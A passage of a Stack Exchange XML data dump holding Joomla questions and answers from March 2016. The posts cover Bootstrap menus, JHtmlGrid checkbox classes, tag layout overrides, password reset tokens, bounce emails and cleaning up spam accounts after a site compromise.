rel=&quot;nofollow&quot;&gt;JWC15 - Why doesn’t my site look like the demo?!&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2016-03-09T08:55:03.593" LastActivityDate="2016-03-09T08:55:03.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15591" PostTypeId="2" ParentId="8673" CreationDate="2016-03-09T09:11:54.483" Score="1" Body="&lt;p&gt;Sign-in with your google account, and &#xA;&lt;a href=&quot;https://myaccount.google.com/intro/security&quot; rel=&quot;nofollow&quot;&gt;Click Here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now on the bottom right you will find &lt;strong&gt;Allow less secure apps: OFF&#xA;Some non-Google apps and devices use less secure sign-in technology, which could leave your account vulnerable. You can turn off access for these apps (which we recommend) or choose to use them despite the risks.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn it on and now you will be able to authenticate through your email account and send mails from your joomla website.&lt;/p&gt;&#xA;" OwnerUserId="3640" LastActivityDate="2016-03-09T09:11:54.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15592" PostTypeId="2" ParentId="15588" CreationDate="2016-03-09T09:29:45.977" Score="1" Body="&lt;p&gt;Yes, there are several ways to render internally a page from a view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you call the view and capture the output in a variable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, in FoF you can do it in this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ob_start();&#xA;    F0FDispatcher::getTmpInstance(&#xA;            'com_mycomponent',&#xA;            'theview',&#xA;            $config&#xA;        )-&amp;gt;dispatch();&#xA;    $output = ob_get_contents();&#xA;    ob_end_clean();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also call the Url with a cURL connection, but it is slower since you must open a new network connection to render the page.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-03-09T09:29:45.977" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15593" PostTypeId="2" ParentId="13719" CreationDate="2016-03-09T09:44:46.440" Score="0" Body="&lt;p&gt;use list type form field then trigger this script, edit according to your needs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){&#xA;    var list = jQuery('#jform_list_ID');&#xA;    var parent = list.parent();&#xA;&#xA;    list.trigger('chosen:updated');&#xA;    list.ajaxChosen({&#xA;        type: 'GET',&#xA;        url: ajax_url,&#xA;        dataType: 'json'&#xA;    }, function(response) {&#xA;        var results = [];&#xA;        var data = response.data || [];&#xA;        //change accordingly to the structure you provided&#xA;         var items = data[0] || [];&#xA;&#xA;        if (items) {&#xA;            jQuery.each(items, function(i, item){&#xA;                results.push({&#xA;                    value: item.value,&#xA;                    text: item.text&#xA;                });&#xA;            });&#xA;        }&#xA;        return results;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7964" LastActivityDate="2016-03-09T09:44:46.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15594" PostTypeId="1" CreationDate="2016-03-09T11:33:58.950" Score="1" ViewCount="54" Body="&lt;p&gt;This could sound like a strange question, so let me explain why I need a 24h assistance service for a Joomla site. I've created a website for a customer, using many extensions (EasySocial, Community Surveys, Quick2cart, etc.). I've done this in my spare time and I'm not always reachable by my customer due to circumstances related to my work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The customer is aware of this and it's fine for him to wait weeks for a change in the site, for a new feature request and for planned maintenance. But, if there's suddendly something unexpected with the website (which is commercial), to whom could he call? So, I'm asking if there's someone who gives as a service (at payment, of course) a 24h remote assistance, for a little annual fee or also hourly payed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something similar to my description in the Joomla world?&lt;/p&gt;&#xA;" OwnerUserId="3565" LastEditorUserId="159" LastEditDate="2016-03-15T20:52:29.677" LastActivityDate="2016-03-15T20:52:29.677" Title="How to get 24h support for a Joomla site?" Tags="|commercial|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15595" PostTypeId="2" ParentId="15484" CreationDate="2016-03-09T12:42:18.533" Score="0" Body="&lt;p&gt;What I would do :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a new view ( lets call it profile )&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At workers view ( im guessing you have a table with all workers or&#xA;something like that ) have  links that redirecting to Profile view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;code&gt;&amp;lt;a href=&quot;index.php?option=com_custom&amp;amp;view=profile&amp;amp;id=2&quot;&amp;gt;&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Inside that view you will have all the info of that worker (Personal Infos,Roles he is currently assigned) and you can add whatever functionality you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally i would create a multiple dropdown with all the Roles or a multiple checkbox and use ajax for adding - deleting roles.&lt;/p&gt;&#xA;" OwnerUserId="2225" LastActivityDate="2016-03-09T12:42:18.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15597" PostTypeId="2" ParentId="3877" CreationDate="2016-03-09T12:53:08.063" Score="9" Body="&lt;h1&gt;Joomla 3.5+ (Protostar template)&lt;/h1&gt;&#xA;&lt;p&gt;As of Joomla 3.5, you're able to create file called &lt;code&gt;user.css&lt;/code&gt; and place it in:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;templates/protostar/css/user.css&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; the file name &lt;strong&gt;must&lt;/strong&gt; be &lt;code&gt;user.css&lt;/code&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;The protostar template will check if:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The file exists&lt;/li&gt;&#xA;&lt;li&gt;The file size is &lt;code&gt;&amp;gt; 0&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If both conditions are met, it will automatically import this file for you.&lt;/p&gt;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/4211&quot; rel=&quot;noreferrer&quot;&gt;Pull Request&lt;/a&gt; on Github&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-06-14T14:05:21.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15598" PostTypeId="1" CreationDate="2016-03-09T12:56:17.390" Score="2" ViewCount="2210" Body="&lt;p&gt;My idea was to get the example nav bar from bootstrap website and then exchange the content of the navbar with the joomla code to get the menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final product is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Begin Navbar--&amp;gt;&#xA;&amp;lt;nav class=&quot;navbar navbar-default&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container-fluid&quot;&amp;gt;&#xA;         &amp;lt;!-- Brand and toggle get grouped for better mobile display --&amp;gt;&#xA;         &amp;lt;div class=&quot;navbar-header&quot;&amp;gt;&#xA;            &amp;lt;button type=&quot;button&quot; class=&quot;navbar-toggle collapsed&quot; data-toggle=&quot;collapse&quot; data-target=&quot;#bs-example-navbar-collapse-1&quot; aria-expanded=&quot;false&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;sr-only&quot;&amp;gt;Toggle navigation&amp;lt;/span&amp;gt;&#xA;                &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/button&amp;gt;&#xA;         &amp;lt;/div&amp;gt;&#xA;         &amp;lt;!-- Collect the nav links, forms, and other content for toggling --&amp;gt;&#xA;         &amp;lt;div class=&quot;collapse navbar-collapse&quot; id=&quot;bs-example-navbar-collapse-1&quot;&amp;gt;&#xA;             &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;menu&quot;/&amp;gt;&#xA;         &amp;lt;/div&amp;gt;&amp;lt;!-- /.navbar-collapse --&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!-- /.container-fluid --&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&amp;lt;!--End navbar--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does not work because the format is gone now, so I tried adding &quot;nav navbar-nav navbar&quot; to &quot;Module Class Suffix&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong with my intuition of how it works? Doesn't &lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;menu&quot;/&amp;gt;&lt;/code&gt; just print out the &lt;code&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&lt;/code&gt; which will be formatted by using nav navbar and navbar-nav?&lt;/p&gt;&#xA;" OwnerUserId="7966" LastActivityDate="2016-04-24T09:57:21.017" Title="What am I missing to make my menu a bootstrap navbar?" Tags="|menu|bootstrap|twitter-bootstrap-3|navigation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15599" PostTypeId="1" AcceptedAnswerId="15616" CreationDate="2016-03-09T13:05:45.507" Score="0" ViewCount="466" Body="&lt;p&gt;If you share a youtube video, youtube automatically create a shortlink that you can send manually, or via a variaty of different social media plattforms. See screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/11WOa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/11WOa.png&quot; alt=&quot;youtube sharing shortlink&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched for a joomla plugin that does this task, but all I've found are plugins for creating short URLs and other plugins for social media sharing purposes (e.g. &lt;a href=&quot;http://www.sharethis.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;sharethis&lt;/a&gt;). Is there a joomla plugin / module that takes combines both tasks at once?&lt;/p&gt;&#xA;" OwnerUserId="7965" LastActivityDate="2016-03-10T06:29:25.507" Title="Share article and with short url / short link" Tags="|module|plugin|weblinks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15600" PostTypeId="1" AcceptedAnswerId="15607" CreationDate="2016-03-09T13:17:56.770" Score="2" ViewCount="654" Body="&lt;p&gt;I am trying to add class attribute in the checkboxes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/API15:JHTMLGrid/id&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/API15:JHTMLGrid/id&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I read the documentation but no luck today :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please check the image (Thats just an example)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/aVwSP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aVwSP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, can we add class attribute in &lt;code&gt;JHtml::_('grid.id', $i, $item-&amp;gt;id);&lt;/code&gt; ?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this &lt;strong&gt;without hacking core&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-03-09T19:53:03.630" Title="Can I add class attribute in JHTMLGrid?" Tags="|joomla-3.x|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15601" PostTypeId="2" ParentId="15599" CreationDate="2016-03-09T16:40:07.333" Score="0" Body="&lt;p&gt;youtube.be works integrated with Youtube. So, they link the short url with videos at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sharethis or similar sharing services don't generate short Urls for every content item you publish. It's only a widget for your page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could implement an &lt;a href=&quot;http://extensions.joomla.org/category/social-web/social-share&quot; rel=&quot;nofollow&quot;&gt;auto-posting&lt;/a&gt; extension (like &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/social-web/social-share/autotweet-ng&quot; rel=&quot;nofollow&quot;&gt;AutoTweetNG&lt;/a&gt;) to generate short urls for every new content item and finally look for a way to show the short url in your content item.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-03-09T16:40:07.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15602" PostTypeId="2" ParentId="15598" CreationDate="2016-03-09T16:45:29.160" Score="1" Body="&lt;p&gt;Your menu will work as long as your template implement the Bootstrap nav component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several extensions in JED that already generate the proper structure to show a &lt;a href=&quot;http://extensions.joomla.org/extensions/extension?searchall=menu+bootstrap+nav&amp;amp;filter[tags][]=&amp;amp;filter[core_catid]=&amp;amp;filter[includes]=&amp;amp;filter[versions]=&amp;amp;filter[type]=free&amp;amp;filter[hasdemo]=&amp;amp;order=&amp;amp;filter[newupdated]=&amp;amp;filter[score]=&amp;amp;filter[favourites]=&amp;amp;dir=DESC&amp;amp;limitstart=0&amp;amp;controller=filter&amp;amp;view=extension&amp;amp;layout=list&amp;amp;Itemid=145&amp;amp;clearorders=0&amp;amp;clearfilters=1&quot; rel=&quot;nofollow&quot;&gt;Bootstrap nav menu&lt;/a&gt;. You can implement any of them to check the best practices and build your extension on top. &lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-03-09T16:45:29.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15603" PostTypeId="2" ParentId="8862" CreationDate="2016-03-09T18:20:12.310" Score="1" Body="&lt;p&gt;I've got 3 Angular apps running against Joomla right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is to set up the resource and let it deal with the option/format/controller request fields, then in the controller, call your model to do the math, then depending on where you have stored the result in the model, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$response = new stdClass();&#xA;$response-&gt;data = $model-&gt;data;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;echo json_encode($response);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;super clean, super easy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as rendering your app, there is a single joomla view for each app in my case. the tmpl/default.php is basically just an include to the main html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use ngBoilerplate as the base for my builds, so I had to modify the index.html to find the scripts that grunt was inserting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The app itself lives in /media/com_extension/lib/app/build. I left it in build because it doesn't effect anything and now I can easily edit and build from the folder where the app is going to be served.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2016-03-09T18:20:12.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15604" PostTypeId="1" CreationDate="2016-03-09T18:51:16.420" Score="0" ViewCount="258" Body="&lt;p&gt;How do i set the reset password to expire for 30 mins. I tried setting it on User Option for 1 hour waited for 2 hours and it did not expire and still let me use the authentication token in the link i received from email.&#xA;Is there a code i need to change in com_users?&lt;/p&gt;&#xA;" OwnerUserId="7566" LastActivityDate="2016-05-08T22:37:50.873" Title="Want to set the Reset password Token to 30 mins in Joomla" Tags="|account-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15605" PostTypeId="1" AcceptedAnswerId="15608" CreationDate="2016-03-09T19:03:53.990" Score="2" ViewCount="1460" Body="&lt;p&gt;I have a joomla 2.5 portal, recently i was attacked probably by a SQL injection or something, the fact is that all my DB was filled up with messy articles and a lot of users, i already cleaned up my items/articles using the k2 item administrator manually. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found near to 30k users on my DB, delete them manually is a pain, i want to create my own SQL delete script to remove them all at once, but i am not sure what tables are involved in the user control and i don't want to corrupt my DB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="7386" LastEditorUserId="126" LastEditDate="2016-04-26T07:59:45.670" LastActivityDate="2017-03-22T19:42:48.653" Title="Bulk user delete on joomla 2.5" Tags="|joomla-2.5|user|user-groups|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15606" PostTypeId="1" CreationDate="2016-03-09T19:12:13.893" Score="2" ViewCount="205" Body="&lt;p&gt;Is there a way where i can capture the email that bounced after the user registration and create a script to block that account?&lt;/p&gt;&#xA;" OwnerUserId="7566" LastEditorUserId="3650" LastEditDate="2016-11-13T11:19:59.020" LastActivityDate="2016-11-13T11:19:59.020" Title="How to capture bounce email in joomla" Tags="|joomla-3.x|emails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15607" PostTypeId="2" ParentId="15600" CreationDate="2016-03-09T19:53:03.630" Score="4" Body="&lt;p&gt;First of  all, this documentation is very old. Latest is &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JHtmlGrid.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't just add class to that. You would have to create your own &lt;code&gt;JHtml*&lt;/code&gt; class and override it there. Following is just example, you can rename class and file names if you prefer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;components/your_component/html/mygrid.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;abstract class JHtmlMygrid&#xA;{&#xA;    public static function id($rowNum, $recId, $class = null, $checkedOut = false, $name = 'cid', $stub = 'cb')&#xA;    {&#xA;        return $checkedOut ? '' : '&amp;lt;input type=&quot;checkbox&quot; id=&quot;' . $stub . $rowNum . '&quot;'.(is_string($class) ? ' class=&quot;'.$class.'&quot;' : '').' name=&quot;' . $name . '[]&quot; value=&quot;' . $recId&#xA;            . '&quot; onclick=&quot;Joomla.isChecked(this.checked);&quot; /&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your view template, for example &lt;strong&gt;myview/tmpl/default.php&lt;/strong&gt;, add your class to &lt;code&gt;JHtml&lt;/code&gt; include paths. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::addIncludePath(JPATH_COMPONENT.'/html');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; you could add this code to your component main file, then you will be able to use it in every view without repeating this line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finaly call it in your template file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('mygrid.id', $i, $item-&amp;gt;id, 'class-name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then Joomla! will automatically call your &lt;code&gt;JHtmlMygrid&lt;/code&gt; class method &lt;code&gt;id&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-03-09T19:53:03.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15608" PostTypeId="2" ParentId="15605" CreationDate="2016-03-09T20:10:22.763" Score="2" Body="&lt;p&gt;That is a well-known issue, see post &lt;a href=&quot;https://joomla.meta.stackexchange.com/questions/216/preparing-for-k2-questions&quot;&gt;Preparing for K2 questions&lt;/a&gt;  So, disable user registration in Joomla and possibly disable K2 user management unless your site need it very bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Needless to say that your site is outdated and that you need to update it ASAP, I'm sure you know that very well, especially after such spam-bomb attack your site have faced.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have faced similar issue two years ago on one old site of my client. I remember well that I didn't want to go through manually deleting all spam-registered users, so I deleted ALL users directly via phpMyAdmin, even myself as logged admin, and then I re-created myself as admin user. But, that requires strong knowledge and experience in using phpMyAdmin, so I can't recommend it blindly to someone else.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="-1" LastEditDate="2017-03-16T16:42:00.530" LastActivityDate="2016-03-09T20:17:34.827" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15609" PostTypeId="2" ParentId="15606" CreationDate="2016-03-09T20:44:38.453" Score="4" Body="&lt;p&gt;One way to disallow bogus e-mails is to validate them during registration process. There are quite few extensions and guides available by simple Google search 'joomla validate email', such as &lt;a href=&quot;http://www.function90.com/products/pre-registration-email-validation.html&quot;&gt;Pre Registration Email Validation plugin&lt;/a&gt; or &lt;a href=&quot;https://docs.joomla.org/Client-side_form_validation&quot;&gt;Client-side form validation guide&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also another approach for bounce-handling used in commercial newsletter extensions like &lt;a href=&quot;https://www.acyba.com/acymailing/120-acymailing-bounce.html#what&quot;&gt;Acymailing Enterprise&lt;/a&gt; and &lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsmail-user-guide/getting-started-/rsmail-settings.html&quot;&gt;RSMail&lt;/a&gt;, which are able to handle such messages and execute actions on wrong receiver such as Delete the user, Block the user etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, writing such a 'script' as you are asking for, requires significant knowledge, experience and a price tag, and I am afraid it exceeds scope of such Q&amp;amp;A site as JSE is.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-03-09T20:44:38.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15610" PostTypeId="1" CreationDate="2016-03-09T20:51:16.113" Score="1" ViewCount="138" Body="&lt;p&gt;&lt;strong&gt;My goal:&lt;/strong&gt; change the layout of my front page which is a menu item of the type 'tag list' (or something similar, don't know the precise translation). As usual, I made a file overriding the view template which creates the respective section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I've done:&lt;/strong&gt; So I've made a file &lt;code&gt;&amp;lt;template&amp;gt;/html/com_tags/tag/default_items.php&lt;/code&gt; with the same contents as &lt;code&gt;components/com_tags/views/tag/tmpl/default_items.php&lt;/code&gt;, expecting to see any changes I make to the aforementioned file. However, even if I empty the file, the result is the same as without the file alltogether.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT - UPDATE 1:&lt;/strong&gt; As suggested in an answer, I have tried creating an alternative layout instead. So I made the file &lt;code&gt;&amp;lt;template&amp;gt;/html/com_tags/tag/custom_layout_test.php&lt;/code&gt; and put a test string in it, but I cannot select it in the admin interface's &lt;code&gt;template style&lt;/code&gt; option of the menu entry.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT - UPDATE 2:&lt;/strong&gt; Well, it still does not work, but I have found &lt;a href=&quot;https://joomla.stackexchange.com/questions/13583/how-to-show-tagged-items-in-category-blog-layout&quot;&gt;this&lt;/a&gt;, which is precisely what I wanted to do anyways. Thanks for your attempts to help me, I guess I missed something, but I don't really have any more time on this. Sorry for leaving this open, maybe the link will help someone.&lt;/p&gt;&#xA;" OwnerUserId="7741" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-03-11T12:12:09.120" Title="Tag List Template Global Setting is Ignored" Tags="|joomla-3.x|overrides|tags|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15611" PostTypeId="2" ParentId="15610" CreationDate="2016-03-09T21:04:04.577" Score="2" Body="&lt;p&gt;I just asked Google 'joomla tag list override' and it told me: &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=706&amp;amp;t=854545&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?f=706&amp;amp;t=854545&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit - Update 1:&lt;br&gt;&#xA;Copy &lt;code&gt;components/com_tags/views/tag/tmpl/default.php&lt;/code&gt; and rename it to&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;template&amp;gt;/html/com_tags/tag/namewithoutunderscores.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then copy &lt;code&gt;&amp;lt;template&amp;gt;/html/com_tags/tag/default_items.php&lt;/code&gt; to&lt;br&gt;&#xA;&lt;code&gt;components/com_tags/views/tag/tmpl/default_items.php&lt;/code&gt; and edit it to your liking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you should set alternative tag list layout 'namewithoutunderscores' as default in Tagged Items Options.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-03-09T22:11:01.667" LastActivityDate="2016-03-09T22:11:01.667" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15612" PostTypeId="2" ParentId="15604" CreationDate="2016-03-09T21:19:19.700" Score="1" Body="&lt;p&gt;I've never seen such a setting in User Options.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per official documentation on &lt;a href=&quot;http://docs.joomla.org/Help34:Components_Users_Configuration&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Help34:Components_Users_Configuration&lt;/a&gt; , setting &lt;strong&gt;Time in Hours&lt;/strong&gt; applies to Time period in hours for the Maximum Reset Count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not aware of any other setting which manages expiration of Reset Password Token, and you certainly shouldn't touch any of core files, that being a biggest 'no-no thing' in Joomlaverse.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-03-09T22:00:26.540" LastActivityDate="2016-03-09T22:00:26.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15613" PostTypeId="1" CreationDate="2016-03-09T22:38:41.750" Score="1" ViewCount="1172" Body="&lt;p&gt;I'm trying to implement a Bootstrap menu with a toggle dropdown on a Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Got most of it working except for the toggle isn't working...Looking at inspect tool when &lt;code&gt;.dropdown&lt;/code&gt; element is clicked, the &lt;code&gt;.open&lt;/code&gt; class is added very quickly, but then immediately disappears. Wondering if there's another script or something else that's causing issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added necessary classes and attributes via jQuery like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;.currenthas-child, .has-child&quot;).addClass(&quot;dropdown&quot;);&#xA;jQuery(&quot;.submenu&quot;).addClass(&quot;dropdown-menu&quot;);&#xA;jQuery(&quot;.menu&quot;).addClass(&quot;nav navbar-nav&quot;);&#xA;&#xA;jQuery( &quot;.dropdown &amp;gt; a:first-child&quot; ).attr({&#xA;    'data-toggle': &quot;dropdown&quot;,&#xA;    role: &quot;button&quot;,&#xA;    'aria-haspopup': &quot;true&quot;,&#xA;    'aria-expanded': &quot;false&quot;&#xA;});&#xA;&#xA;jQuery(&quot;.dropdown &amp;gt; a:first-child&quot;).append('&amp;lt;span class=&quot;caret&quot;&amp;gt;&amp;lt;/span&amp;gt;');&#xA;jQuery(&quot;.dropdown &amp;gt; a:first-child&quot;).addClass(&quot;dropdown-toggle&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's a &lt;a href=&quot;http://cccaccessibility.mc2dev.com&quot; rel=&quot;nofollow&quot;&gt;link to live staging site&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7021" LastEditorUserId="27" LastEditDate="2016-12-05T22:50:09.017" LastActivityDate="2024-03-30T23:07:30.933" Title="Bootstrap Dropdown Navigation Toggle Not Working with native Joomla jQuery" Tags="|joomla-3.x|jquery|bootstrap|navigation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
